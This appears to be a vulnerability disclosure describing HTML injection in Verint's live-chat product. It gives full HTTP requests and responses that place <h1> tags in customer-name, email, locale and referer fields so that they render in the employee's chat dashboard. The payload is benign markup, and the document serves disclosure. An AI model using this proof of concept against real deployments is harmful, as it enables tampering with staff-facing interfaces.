Verint live-chat is an application part of Verint Engagement Management (version 15.3 Update 2023R2) that makes it possible for users on a website to ask questions through a chat box. The questions are answered by an employee via the Verint dashboard.
It is possible to inject HTML code into the "User Data" form in the live-chat.

When we create a new chat an API call is made. In this JSON API call, it is possible to inject HTML code into the following parameters: "customerFirstName", "customerEmail", "customerLocale" and "refererURL".

POST /chat/CONAV/chat/rest/api/clients?serverId=ce0f6327e41ba6a332e392376e615eb048a1c6a5252da988ece51392a67f2f3704483b93ce8517 HTTP/1.1
Host: apps.x.nl
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*
Accept-Language: nl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://staging.x.nl/
Content-Type: application/json
Content-Length: 234
Origin: https://staging.x.nl
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers
Connection: close

{"customerFirstName":"<h1>AAAAAAAAAAAAAAAAAAAAAAAAA</h1>",
"customerEmail":"<h1>ee@recoil.nl</h1>",
"customerLocale":"<h1>nl</h1>",
"chatLaunchMode":"CHAT_ONLY",
"refererURL":"<h1>https://recoil.nl<h1>",
"launchCode":"KanaChat",
"launchIdentifier":"KanaChat"}
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Take note of the "userId" in the response, we can use this to spawn a chat with the employee.

HTTP/1.1 201 Created
connection: close
content-type: application/hal+json
date: Mon, 08 May 2023 14:44:58 GMT
p3p: CP="NON CUR OTPi OUR NOR UNI"
access-control-allow-origin: *
access-control-allow-methods: PUT, GET, POST, OPTIONS
access-control-allow-headers: origin, x-requested-with, content-type
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
x-xss-protection: 0
strict-transport-security: max-age=31536000; includeSubDomains
Set-Cookie: JSESSIONID=Tsf70qRg5layXAoUlwgHYIrAC_3VFCKXjXtfiH1xE-KBpWrqsYyK!896618273; Path=/chat/; Secure; HttpOnly

{"userName":"AAAAAAAAAAAAAAAAAAAAAAAAA",
"userLoginId":"9678-648618303ce0f6327e41ba6a332e392376e615eb048a",
"userId":"vI6GekBuDQQRpnHaTPSF6JxCJFv8mzkjdt3TU17ng8E4CQZ0Am","_links":{"self":{"href":"/CONAV/chat/rest/api/clients?serverId=ce0f6327e41ba6a332e392376e615eb048a1c6a5252da988ece51392a67f2f3704483b93ce8517"},"event":{"href":"/CONAV/chat/rest/api/clients/vI6GekBuDQQRpnHaTPSF6JxCJFv8mzkjdt3TU17ng8E4CQZ0Am/events?serverId=ce0f6327e41ba6a332e392376e615eb048a1c6a5252da988ece51392a67f2f3704483b93ce8517"},"queuedstatus":{"href":"/CONAV/chat/rest/api/clients/vI6GekBuDQQRpnHaTPSF6JxCJFv8mzkjdt3TU17ng8E4CQZ0Am/queuedstatus?serverId=ce0f6327e41ba6a332e392376e615eb048a1c6a5252da988ece51392a67f2f3704483b93ce8517"},"logout":{"href":"/CONAV/chat/rest/api/clients/vI6GekBuDQQRpnHaTPSF6JxCJFv8mzkjdt3TU17ng8E4CQZ0Am/logout?serverId=ce0f6327e41ba6a332e392376e615eb048a1c6a5252da988ece51392a67f2f3704483b93ce8517"}}}
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With the following request we can spawn a chat box.

POST /chat/CONAV/chat/rest/api/clients/vI6GekBuDQQRpnHaTPSF6JxCJFv8mzkjdt3TU17ng8E4CQZ0Am/events?serverId=ce0f6327e41ba6a332e392376e615eb048a1c6a5252da988ece51392a67f2f3704483b93ce8517 HTTP/1.1
Host: apps.x.nl
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*
Accept-Language: nl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://staging.x.nl/
Content-Type: application/json
Content-Length: 41
Origin: https://staging.x.nl
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers
Connection: close

[
	{
		"type":"MessageSent",
		"text":"123test"
	}
]
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Response:

HTTP/1.1 200 OK
connection: close
content-type: application/hal+json
date: Mon, 08 May 2023 14:45:07 GMT
p3p: CP="NON CUR OTPi OUR NOR UNI"
access-control-allow-origin: *
access-control-allow-methods: PUT, GET, POST, OPTIONS
access-control-allow-headers: origin, x-requested-with, content-type
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
x-xss-protection: 0
strict-transport-security: max-age=31536000; includeSubDomains

{"events":[],"_links":{"self":{"href":"/CONAV/chat/rest/api/clients/vI6GekBuDQQRpnHaTPSF6JxCJFv8mzkjdt3TU17ng8E4CQZ0Am/events?serverId=ce0f6327e41ba6a332e392376e615eb048a1c6a5252da988ece51392a67f2f3704483b93ce8517"},"nextevent":{"href":"/CONAV/chat/rest/api/clients/vI6GekBuDQQRpnHaTPSF6JxCJFv8mzkjdt3TU17ng8E4CQZ0Am/events?serverId=ce0f6327e41ba6a332e392376e615eb048a1c6a5252da988ece51392a67f2f3704483b93ce8517"},"logout":{"href":"/CONAV/chat/rest/api/clients/vI6GekBuDQQRpnHaTPSF6JxCJFv8mzkjdt3TU17ng8E4CQZ0Am/logout?serverId=ce0f6327e41ba6a332e392376e615eb048a1c6a5252da988ece51392a67f2f3704483b93ce8517"}}}
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By now the employee should get a notification of a new incoming message. When the chat opens the HTML injection takes place. As seen in the red square in the screenshot below.

When we inspect the source of the webpage we see that it has interpret the HTML code into the website as shown in the screenshot below.